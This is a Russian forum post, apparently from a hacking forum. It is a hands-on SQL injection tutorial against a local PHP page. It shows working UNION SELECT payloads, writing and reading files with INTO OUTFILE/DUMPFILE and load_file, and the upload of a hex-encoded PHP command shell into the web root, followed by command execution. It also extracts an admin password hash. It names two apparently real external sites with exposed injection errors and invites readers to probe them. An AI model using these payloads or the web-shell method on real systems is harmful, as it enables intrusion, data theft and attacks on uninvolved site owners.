Нестандартные лазейки SQL

Нестандартные лазейки SQL

Тема в разделе "Темы со старого форума", создана пользователем Бэкап, 25.08.2015.

Загрузка...
Ответов: 0 Просмотров: 369 Ответить в теме
Воспользуйтесь функцией автоматического продвижения темы для увеличения числа просмотров темы, продаж платного контента и узнаваемости Вашего бренда. Услуга продвижения действует на протяжении 3-х дней и стоит всего 50 STF Wallet.

Продвинуть тему
  1. Бэкап
    Привет всем! Сегодня я хочу поделиться с вами небольшими хитростями при проведении SQL инъекций. Делать будем всё сами, ручками. Что нам понадобится?!

    [*]Apache Server
    [*]Установленный PHP
    [*]MySQL Server
    [*]phpMyAdmin
    [*]Ну и естественно прямые руки, куда же без них?!


    Ну, можно начинать я полагаю. Ну, теперь будем создавать свой мего-сайтенг, его то мы и будем ломать. Создаём новый домен test.ru у себя на локалхосте. Создаём 2 файлика, один index.html, другой users.php. Содержимое index.html:

    -----------------------------------------------------------------------------------------------------
    <_html_>
    <_head_>
    <_title_>Мего-сайтенГГ<_/title_>
    <_/head_>
    <_body_>
    <_center_> Мего-сайтенГГ


    <_a href='http://test.ru/users.php?id=1'>Участники 1<_/a>
    // думаю тут всё ясно, мы переходим по линку, скрипту news.php передаётся параметр id,
    который в свою очередь будет первичным ключом (идентификатор)
    для вывода информации о нужном нам юзере из базы данных
    ---------------
    <_a href='http://test.ru/users.php?id=2'>Участники 2<_/a>
    // аналогично, выводим пользователя с идентификатором равным двум
    ---------------
    <_a href='http://test.ru/users.php?id=3'>Участники 3<_/a>
    <_/body_>
    <_/html_>

    -----------------------------------------------------------------------------------------------------
    Страница набросана для наглядности, ведь нам важен сам принцип, а не эстетические соображения! Содержимое users.php:
    -----------------------------------------------------------------------------------------------------
    mysql_connect('localhost','root','');
    mysql_select_db('dvwa');
    $id=$_GET["id"];
    $sql = "SELECT first_name,user,password FROM users where user_id=".$id;
    $result = MySQL_QUERY($sql);
    echo mysql_error();
    while($us = MySQL_FETCH_ARRAY($result))
    {
    echo $us['first_name'].":".$us['user'].":".$us['password'];echo "
    ";
    }
    ?>

    -----------------------------------------------------------------------------------------------------
    Скрипт так же накидал для наглядности на примере своей БД. Вкратце, опишу принцип действия, скрипт делает выборку из БД, из таблицы users по заданному id. Ну что ж, всё необходимое у нас есть, приступаем. Заходим на индэкс нашего сайта test.ru, чекаем по любой из линок. Видим наш запросик в адресной строке: _ttp://test.ru/users.php?id=1. Идём дальше. Банальные скули, мы сегодня рассматривать не будем. Рассмотрим следующую ситуацию, иногда бывает, что количество столбцов в основном запросе и не основном не совпадает, в результате чего мы лишаемся, возможности лицезреть вывод, так как при попытке объединить запросы оператором union+select мускул выдаёт соответствующую ошибку: MySQL ERROR: The used SELECT statements have a different number of columns. Казалось бы, очень печальное стечение обстоятельств, вроде и скулю на руках имеем, а ничего толкового сделать не можем, но это только на первый взгляд, давайте осмотримся и подумаем. При определённых условиях вывод получить тут не так уж и сложно. Ну, давайте, пожалуй, с самого начала. Первое что приходит на ум это blind SQL, да блайнд прокатит и благо есть проги для автоматизации процесса посимвольного перебора, но опять же при больших объёмах БД это займёт уйму времени, которого нам и без того постоянно не хватает. Да и потом если на сервере стоит ограничение на количество запросов с одного IP адреса?! Идея дальнейшего исследования: а что если сделать вывод в файл?! Да идея не плоха, но опять же нужно соблюдение некоторых условий, а конкретно:

    File_priv = Y
    magic_quotes_gpc = Off


    Если у вас magic_quotes_gpc установлено значение On, то бегом бежим и правим php.ini. Ну, теперь у нас есть всё необходимое, приступаем.

    _ttp://test.ru/users.php?id=1'

    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
    Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in Z:/home/test.ru/www/users.php on line 8


    На лицо инъекция, что не удивительно, ведь мы в скрипте ничего не фильтровали. Подберём количество полей. Сделаем это одним запросом, способом предложенным Iceangel_:

    _ttp://test.ru/users.php?id=1 order by 1,2,3,4,5,6,7,8,9


    Unknown column '4' in 'order clause'
    Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in Z:/home/test.ru/www/users.php on line 8


    Делаем вывод, что полей 3. Ну и объединяем соответственно запросы:

    _ttp://test.ru/users.php?id=-1 union select 1,2,3

    Видим принтабельные поля: 1:2:3. О них можно забыть :) учитываю ситуацию, которую мы обыгрываем. Давайте-ка лучше сделаем вывод в файл. Тут сразу возникает вопрос, где же взять папку доступную на запись?! В принципе пути у нас есть и не составит труда методом научного тыка найти нужную нам, но ведь может и так оказаться, что не одна из них не окажется доступной на запись, поэтому вспоминаем про /tmp дыру (дыра для хранения временных файлов), так как чаще всего она доступна на запись, бывает, конечно же, и наоборот, но это редкость. Принцип ясен, действуем:

    _ttp://test.ru/users.php?id=-1 union select 1,version(),3 into outfile '/tmp/lol.txt'

    Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in Z:/home/test.ru/www/users.php on line 8

    Ошибку видим, но запрос выполнился, кстати, чуть не забыл, принтабельные нам в данной ситуации не нужны вовсе, так как в файл записываются все поля. Теперь считываем вывод:

    _ttp://test.ru/users.php?id=-1 union select load_file('/tmp/lol.txt'),2,3

    1 5.0.45-community-nt 3 :2:3 – пятая ветка, думаю сам принцип ясен, кстати при наличии таких условий залить шелл, как 2 пальца об асфальт! Что нам мешает найти диру доступную на запись и залить туда полноценный шелл?! Давайте попробуем:

    _ttp://test.ru/users.php?id=-1 union select '',2,3 into dumpfile 'Z:/home/test.ru/www/shell.php'

    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '']); ?>',2,3 into dumpfile 'Z:/home/test.ru/www/shell.php'' at line 1
    Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in Z:/home/test.ru/www/users.php on line 8


    Ошибка, но не смертельно :) Захексим: и получаем: 0x3c3f7068702073797374656d28245f4745545b5c27636d645c275d293b203f3e. Составляем запрос:

    _ttp://test.ru/users.php?id=-1 union select 0x3c3f7068702073797374656d28245f4745545b5c27636d645c275d293b203f3e,2,3 into dumpfile 'Z:/home/test.ru/www/shell.php'

    Всё наш шелл залился, юзаем на здоровье:

    _ttp://test.ru/shell.php?cmd=dir

    Видим листинг папки, всё прошло на ура. Реальный пример с такого рода проблемой:

    _ttp://spotters.net.ua/file/?id=5'

    MySQL ERROR: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
    SQL: select *, COALESCE(rating, 2.0, rating) + Views*0.001 as WeightedRating from files where ID=5'


    _ttp://www.scilib.debryansk.ru/project.php?id=920'

    ERROR=>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
    SELECT * FROM particle where particleid=920'


    Кому будет интересно, покопает на досуге. Сразу видно из вывода об ошибке, что в обоих случаях magic_quotes_gpc = ON, что не позволит нам сделать вывод в файл, примеры привел чисто для наглядности, чтобы представляли, как обстоит ситуация. Следующий вопрос, который мы обсудим, какую же конструкцию лучше использовать при выводе в файл INTO OUTFILE или всё же INTO DUMP FILE.

    Такой запрос проскочит на ура:

    _ttp://test.ru/users.php?id=1 union select 1,2,concat_ws(0x3a3a3a,user,password) from dvwa.users LIMIT 1 OFFSET 1 INTO DUMPFILE '/tmp/1.txt'

    Глянем, что у нас там получилось:

    _ttp://test.ru/users.php?id=-1 union select load_file('/tmp/1.txt'),2,3

    12admin:5f4dcc3b5aa765d61d8327deb882cf99:2:3

    Мда не густо, тут то нам и поможет конструкция INTO OUTFILE, она в отличии от предыдущей сделает вывод всех записей по которым осуществляем выборку, из нужной нам таблички! Делаем выводы господа, что обе конструкции хороши и имеют определённо свои плюсы, так что советую их использовать в зависимости от ситуации, естественно, если речь не идёт о конфликте между win и *nix, то предпочтительно использовать INTO OUTFILE.

    Источник: http://www.fssr.ru/index.php
     
    25.08.2015 Сообщений: Симпатий:
В этой теме всего одна страница
Вам, как гостю, ограничены возможности взаимодействия с темами. Пройдите бесплатную регистрацию и откройте для себя море возможностей.